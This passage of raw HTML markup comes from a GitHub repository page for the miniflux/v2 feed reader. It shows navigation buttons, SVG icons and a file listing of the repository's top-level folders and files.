0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z\"></path></svg></div><div class=\"Box-sc-g0xbh4-0 dKmYfk ref-selector-button-text-container\"><span class=\"Text-sc-17v1xeu-0 bOMzPg\"> <!-- -->main</span></div></div></span><span data-component=\"trailingVisual\" class=\"Box-sc-g0xbh4-0 trpoQ\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-triangle-down\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z\"></path></svg></span></span></button><button hidden=\"\" data-hotkey-scope=\"read-only-cursor-text-area\"></button></div><div class=\"Box-sc-g0xbh4-0 laYubZ\"><a style=\"--button-color:fg.muted\" type=\"button\" href=\"/miniflux/v2/branches\" class=\"types__StyledButton-sc-ws60qy-0 cuOWTR\"><span data-component=\"buttonContent\" class=\"Box-sc-g0xbh4-0 kkrdEu\"><span data-component=\"leadingVisual\" class=\"Box-sc-g0xbh4-0 trpoQ\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-git-branch\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z\"></path></svg></span><span data-component=\"text\">Branches</span></span></a><a style=\"--button-color:fg.muted\" type=\"button\" href=\"/miniflux/v2/tags\" class=\"types__StyledButton-sc-ws60qy-0 cuOWTR\"><span data-component=\"buttonContent\" class=\"Box-sc-g0xbh4-0 kkrdEu\"><span data-component=\"leadingVisual\" class=\"Box-sc-g0xbh4-0 trpoQ\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-tag\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1 7.775V2.75C1 1.784 1.784 1 2.75 1h5.025c.464 0 .91.184 1.238.513l6.25 6.25a1.75 1.75 0 0 1 0 2.474l-5.026 5.026a1.75 1.75 0 0 1-2.474 0l-6.25-6.25A1.752 1.752 0 0 1 1 7.775Zm1.5 0c0 .066.026.13.073.177l6.25 6.25a.25.25 0 0 0 .354 0l5.025-5.025a.25.25 0 0 0 0-.354l-6.25-6.25a.25.25 0 0 0-.177-.073H2.75a.25.25 0 0 0-.25.25ZM6 5a1 1 0 1 1 0 2 1 1 0 0 1 0-2Z\"></path></svg></span><span data-component=\"text\">Tags</span></span></a></div><div class=\"Box-sc-g0xbh4-0 swnaL\"><a style=\"--button-color:fg.muted\" type=\"button\" aria-label=\"Go to Branches page\" href=\"/miniflux/v2/branches\" data-no-visuals=\"true\" class=\"types__StyledButton-sc-ws60qy-0 tDSzd\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-git-branch\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z\"></path></svg></a><a style=\"--button-color:fg.muted\" type=\"button\" aria-label=\"Go to Tags page\" href=\"/miniflux/v2/tags\" data-no-visuals=\"true\" class=\"types__StyledButton-sc-ws60qy-0 tDSzd\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-tag\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1 7.775V2.75C1 1.784 1.784 1 2.75 1h5.025c.464 0 .91.184 1.238.513l6.25 6.25a1.75 1.75 0 0 1 0 2.474l-5.026 5.026a1.75 1.75 0 0 1-2.474 0l-6.25-6.25A1.752 1.752 0 0 1 1 7.775Zm1.5 0c0 .066.026.13.073.177l6.25 6.25a.25.25 0 0 0 .354 0l5.025-5.025a.25.25 0 0 0 0-.354l-6.25-6.25a.25.25 0 0 0-.177-.073H2.75a.25.25 0 0 0-.25.25ZM6 5a1 1 0 1 1 0 2 1 1 0 0 1 0-2Z\"></path></svg></a></div></div><div class=\"Box-sc-g0xbh4-0 bWpuBf\"><div class=\"Box-sc-g0xbh4-0 grHjNb\"><div class=\"Box-sc-g0xbh4-0 dXTsqj\"><!--$!--><template></template><!--/$--></div><div class=\"Box-sc-g0xbh4-0 dCOrmu\"><button type=\"button\" data-no-visuals=\"true\" class=\"types__StyledButton-sc-ws60qy-0 ftZGca\"><span data-component=\"buttonContent\" class=\"Box-sc-g0xbh4-0 kkrdEu\"><span data-component=\"text\">Go to file</span></span></button></div><div class=\"react-directory-add-file-icon\"></div><div class=\"react-directory-remove-file-icon\"></div></div><button type=\"button\" id=\":R2il5:\" aria-haspopup=\"true\" tabindex=\"0\" class=\"types__StyledButton-sc-ws60qy-0 gYvpXq\"><span data-component=\"buttonContent\" class=\"Box-sc-g0xbh4-0 kkrdEu\"><span data-component=\"leadingVisual\" class=\"Box-sc-g0xbh4-0 trpoQ\"><div class=\"Box-sc-g0xbh4-0 bVvbgP\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-code\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z\"></path></svg></div></span><span data-component=\"text\">Code</span></span><span data-component=\"trailingAction\" class=\"Box-sc-g0xbh4-0 trpoQ\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-triangle-down\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z\"></path></svg></span></button><div class=\"Box-sc-g0xbh4-0 bNDvfp\"><button data-component=\"IconButton\" type=\"button\" aria-label=\"Open more actions menu\" id=\":R3il5:\" aria-haspopup=\"true\" tabindex=\"0\" data-no-visuals=\"true\" class=\"types__StyledButton-sc-ws60qy-0 ftZGca\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-kebab-horizontal\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z\"></path></svg></button></div></div></div><div class=\"Box-sc-g0xbh4-0 yfPnm\"><div data-hpc=\"true\" class=\"Box-sc-g0xbh4-0\"><button hidden=\"\" data-testid=\"focus-next-element-button\" data-hotkey=\"j\" data-hotkey-scope=\"read-only-cursor-text-area\"></button><button hidden=\"\" data-hotkey=\"j\"></button><button hidden=\"\" data-testid=\"focus-previous-element-button\" data-hotkey=\"k\" data-hotkey-scope=\"read-only-cursor-text-area\"></button><button hidden=\"\" data-hotkey=\"k\"></button><h2 class=\"Heading__StyledHeading-sc-1c1dgg0-0 cgQnMS sr-only\" data-testid=\"screen-reader-heading\" id=\"folders-and-files\">Folders and files</h2><table aria-labelledby=\"folders-and-files\" class=\"Box-sc-g0xbh4-0 cAQuiW\"><thead class=\"Box-sc-g0xbh4-0 iiUlLN\"><tr class=\"Box-sc-g0xbh4-0 jmggSN\"><th colSpan=\"2\" class=\"Box-sc-g0xbh4-0 kvYunM\"><span class=\"Text-sc-17v1xeu-0 eUGNHp\">Name</span></th><th colSpan=\"1\" class=\"Box-sc-g0xbh4-0 hrLuxA\"><span class=\"Text-sc-17v1xeu-0 eUGNHp\">Name</span></th><th class=\"Box-sc-g0xbh4-0 ePjhhA\"><div title=\"Last commit message\" class=\"Truncate__StyledTruncate-sc-23o1d2-0 fUpWeN\"><span class=\"Text-sc-17v1xeu-0 eUGNHp\">Last commit message</span></div></th><th colSpan=\"1\" class=\"Box-sc-g0xbh4-0 cuEKae\"><div title=\"Last commit date\" class=\"Truncate__StyledTruncate-sc-23o1d2-0 fUpWeN\"><span class=\"Text-sc-17v1xeu-0 eUGNHp\">Last commit date</span></div></th></tr></thead><tbody><tr class=\"Box-sc-g0xbh4-0 jEbBOT\"><td colSpan=\"3\" class=\"Box-sc-g0xbh4-0 bTxCvM\"><div class=\"Box-sc-g0xbh4-0 eYedVD\"><h2 class=\"Heading__StyledHeading-sc-1c1dgg0-0 cgQnMS sr-only\" data-testid=\"screen-reader-heading\">Latest commit</h2><div style=\"width:120px\" class=\"Skeleton Skeleton--text\" data-testid=\"loading\"> </div><div class=\"Box-sc-g0xbh4-0 jGfYmh\"><div data-testid=\"latest-commit-details\" class=\"Box-sc-g0xbh4-0 lhFvfi\"></div><h2 class=\"Heading__StyledHeading-sc-1c1dgg0-0 cgQnMS sr-only\" data-testid=\"screen-reader-heading\">History</h2><a class=\"types__StyledButton-sc-ws60qy-0 fAkXQN react-last-commit-history-group\" href=\"/miniflux/v2/commits/main/\" data-size=\"small\"><span data-component=\"buttonContent\" class=\"Box-sc-g0xbh4-0 kkrdEu\"><span data-component=\"leadingVisual\" class=\"Box-sc-g0xbh4-0 trpoQ\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-history\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z\"></path></svg></span><span data-component=\"text\"><span class=\"Text-sc-17v1xeu-0 dALsKK\">1,624 Commits</span></span></span></a><div class=\"Box-sc-g0xbh4-0 bqgLjk\"></div><span role=\"tooltip\" aria-label=\"Commit history\" class=\"Tooltip__TooltipBase-sc-17tf59c-0 dMjscx tooltipped-n\"><a class=\"types__StyledButton-sc-ws60qy-0 fAkXQN react-last-commit-history-icon\" href=\"/miniflux/v2/commits/main/\"><span data-component=\"buttonContent\" class=\"Box-sc-g0xbh4-0 kkrdEu\"><span data-component=\"leadingVisual\" class=\"Box-sc-g0xbh4-0 trpoQ\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-history\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z\"></path></svg></span></span></a></span></div></div></td></tr><tr class=\"react-directory-row undefined\" id=\"folder-row-0\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\".devcontainer\" aria-label=\".devcontainer, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/.devcontainer\">.devcontainer</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\".devcontainer\" aria-label=\".devcontainer, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/.devcontainer\">.devcontainer</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row undefined\" id=\"folder-row-1\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\".github\" aria-label=\".github, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/.github\">.github</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\".github\" aria-label=\".github, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/.github\">.github</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row undefined\" id=\"folder-row-2\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"client\" aria-label=\"client, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/client\">client</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"client\" aria-label=\"client, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/client\">client</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row undefined\" id=\"folder-row-3\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"contrib\" aria-label=\"contrib, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/contrib\">contrib</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"contrib\" aria-label=\"contrib, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/contrib\">contrib</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row undefined\" id=\"folder-row-4\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"internal\" aria-label=\"internal, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/internal\">internal</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"internal\" aria-label=\"internal, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/internal\">internal</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row undefined\" id=\"folder-row-5\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"packaging\" aria-label=\"packaging, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/packaging\">packaging</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"icon-directory\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"packaging\" aria-label=\"packaging, (Directory)\" class=\"Link--primary\" href=\"/miniflux/v2/tree/main/packaging\">packaging</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row undefined\" id=\"folder-row-6\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\".gitignore\" aria-label=\".gitignore, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/.gitignore\">.gitignore</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\".gitignore\" aria-label=\".gitignore, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/.gitignore\">.gitignore</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row undefined\" id=\"folder-row-7\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"ChangeLog\" aria-label=\"ChangeLog, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/ChangeLog\">ChangeLog</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 